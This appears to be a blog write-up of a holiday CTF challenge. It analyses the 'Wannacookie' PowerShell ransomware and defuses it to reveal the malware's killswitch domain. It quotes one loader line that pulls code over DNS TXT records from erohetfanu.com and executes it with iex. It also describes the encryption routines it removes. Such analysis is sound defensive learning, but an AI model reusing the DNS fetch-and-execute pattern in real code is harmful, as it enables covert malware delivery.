Objective 9.3: Stop the Malware

In this objective, we need to stop the malware!

Once again we are given the same hint from Shinny Upatree.
“Sweet candy goodness – I win! Thank you so much!
Have you heard that Kringle Castle was hit by new ransomware called Wannacookie?
Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by, and their files were encrypted.
Many elves were affected, so Alabaster went to see if he could help out.
I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analysing Wannacookie on his computer.
An elf I follow online said he analysed Wannacookie and that it communicates over DNS.
He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.
Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!
Of course, this all depends on how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.
Perhaps there is a flaw in the wannacookie author’s DNS server that we can manipulate to retrieve what we need.
If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.”

However, we get two new hints link1 and link2.

I was going to say this sounds very similar to this.

Alabaster Snowball also tells us the following.
“Erohetfanu.com, I wonder what that means? Unfortunately, Snort alerts show multiple domains, so blocking that one won’t be effective.
I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections.
Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it!”

So, I’m guessing we need to register the domain with “Ho Ho Ho Daddy”, and that’s it… I think… As this is all we get within the terminal

Also, cool domain logo!

So, Erohetfanu.com isn’t the answer (It was worth a shot!)

We need to go back one and revisit that PowerShell script was able to get from the word file, and we need to relook at the code again!

We have the code here, but the code seems to be short as it downloads data over DNS and runs it from memory using PowerShell. I wonder if we can get a full version of this PowerShell script?

Now let’s look at the last part of this script “-Name “$i.$f.erohetfanu.com” -Type TXT).strings}; iex($(H2A $h | Out-string))” the very last part prints out the output of the “H2A $h” maybe we can change this, so it outputs to a file.
Also, remove “iex” as explained in the last one, removing “iex” makes the script… Somewhat harmless.
“The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command.” (https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-6)

Now we should have this “-Type TXT).strings}; ($(H2A $h | Out-File /home/mrj/Documents/test.text))” (This will save to my Documents folder, change as you see fit!)

……….So we get an error!

“The term ‘Resolve-DnsName’ is not recognised” On Linux PowerShell, there is no support for “Resolve-DnsName” function yet.
So. I guess it’s Back to Windows!

Moreover, now get this file.

However, as you can see, it’s still not the full version of the script. We need to go deeper. Deeper!

Looking back at the script, do you notice the long numbers? ‘77616E6E61636F6F6B69652E6D696E2E707331’ well this is Hex, let’s use this website (http://www.unit-conversion.info/texttools/hexadecimal/) and see what ‘77616E6E61636F6F6B69652E6D696E2E707331’ means in text.

So ‘77616E6E61636F6F6B69652E6D696E2E707331’ = wannacookie.min.ps1, this is the mini version.

And wannacookie.ps1 = ‘77616e6e61636f6f6b69652e707331’.

So, if we change the ps1 script from ‘77616E6E61636F6F6B69652E6D696E2E707331’ to ‘77616e6e61636f6f6b69652e707331’ then it should download the script we need!

So we have the file!

We can already see that the newer file “test1.txt” is much better.

Now we need to find the domain name that the malware is calling too. So that’s it!

As we go further into the wannacookie PowerShell script, we can find many different Hex codes, using the same website as before this is what they mean.
“6B6579666F72626F746964” = Keyforbotid.
“6B696C6C737769746368” = Killswitch.
“7365727665722E637274” = Server.crt.
“72616e736f6d697370616964” = Ransomispaid.

Killswitch “6B696C6C737769746368” Is the one we are looking at here, even do we have the script we need… We still don’t have the domain, so let’s run the script, however, let’ edit it first to make it print out the domain name.

First let’s remove “function Enc_Dec-File($key, $File, $enc_it)” (As this is the part that will encrypt all the files… Which is not something we need! And “function enc_dec” and “-Server {return} if ($(netstat -ano | Select-String “”).length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne “KRINGLECASTLE”) {return}” (Plus everything till the end)
Since we don’t need the script calling back, we want to print out the output!

Next change “if ($null -ne ((Resolve-DnsName -Name” to “write-host” and delete this string ” .ToString() -ErrorAction 0″ Again we want the script to output the domain, not to call back or encrypt our files!

(You can view the script here)

Now we can run the script in windows and not worry about any issues (I still recommend it’s best to run in a VM!)

So the domain we need is “yippeekiyaa.aaay”
(Note: If you’re having any issues with the PowerShell scripts, using Windows 10 fixes most/all the issues you may face.)

Moreover, that’s another one done!

Leave a Comment

Your email address will not be published. Required fields are marked *